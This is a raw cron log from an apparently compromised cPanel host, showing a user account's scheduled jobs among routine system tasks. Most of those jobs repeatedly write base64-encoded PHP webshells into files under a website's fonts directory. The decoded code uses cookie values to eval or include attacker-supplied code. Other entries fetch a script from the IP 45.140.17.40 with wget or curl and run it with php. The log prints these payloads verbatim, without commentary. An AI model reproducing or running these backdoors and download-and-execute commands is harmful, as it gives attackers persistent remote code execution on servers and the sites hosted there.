Sep  1 06:37:01 ip-184-168-122-23 CROND[4448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:37:01 ip-184-168-122-23 CROND[4449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:37:01 ip-184-168-122-23 CROND[4450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:37:01 ip-184-168-122-23 CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:38:01 ip-184-168-122-23 CROND[4641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:38:01 ip-184-168-122-23 CROND[4645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:38:01 ip-184-168-122-23 CROND[4643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:38:01 ip-184-168-122-23 CROND[4644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:38:01 ip-184-168-122-23 CROND[4646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:39:01 ip-184-168-122-23 CROND[4777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:39:01 ip-184-168-122-23 CROND[4779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:39:01 ip-184-168-122-23 CROND[4781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:39:01 ip-184-168-122-23 CROND[4780]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 06:39:01 ip-184-168-122-23 CROND[4782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:40:01 ip-184-168-122-23 CROND[5012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:40:01 ip-184-168-122-23 CROND[5015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:40:01 ip-184-168-122-23 CROND[5016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:40:01 ip-184-168-122-23 CROND[5018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:40:01 ip-184-168-122-23 CROND[5021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:40:01 ip-184-168-122-23 CROND[5019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:40:01 ip-184-168-122-23 CROND[5025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:40:01 ip-184-168-122-23 CROND[5024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:41:01 ip-184-168-122-23 CROND[5172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:41:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:41:01 ip-184-168-122-23 CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:41:01 ip-184-168-122-23 CROND[5175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:42:01 ip-184-168-122-23 CROND[5359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:42:01 ip-184-168-122-23 CROND[5361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:42:01 ip-184-168-122-23 CROND[5363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:42:01 ip-184-168-122-23 CROND[5365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:42:01 ip-184-168-122-23 CROND[5366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:43:01 ip-184-168-122-23 CROND[5588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:43:01 ip-184-168-122-23 CROND[5590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:43:01 ip-184-168-122-23 CROND[5589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:43:01 ip-184-168-122-23 CROND[5591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:44:01 ip-184-168-122-23 CROND[5682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:44:01 ip-184-168-122-23 CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:44:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:44:01 ip-184-168-122-23 CROND[5685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:44:01 ip-184-168-122-23 CROND[5687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:45:01 ip-184-168-122-23 CROND[5785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:45:01 ip-184-168-122-23 CROND[5787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:45:01 ip-184-168-122-23 CROND[5788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:45:01 ip-184-168-122-23 CROND[5786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:45:01 ip-184-168-122-23 CROND[5784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:45:01 ip-184-168-122-23 CROND[5789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:46:02 ip-184-168-122-23 CROND[5933]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:46:02 ip-184-168-122-23 CROND[5937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:47:01 ip-184-168-122-23 CROND[6141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:47:01 ip-184-168-122-23 CROND[6143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:47:01 ip-184-168-122-23 CROND[6142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:47:01 ip-184-168-122-23 CROND[6147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:48:01 ip-184-168-122-23 CROND[6259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:48:01 ip-184-168-122-23 CROND[6258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:48:01 ip-184-168-122-23 CROND[6262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:48:01 ip-184-168-122-23 CROND[6263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:48:01 ip-184-168-122-23 CROND[6265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:49:01 ip-184-168-122-23 CROND[6389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
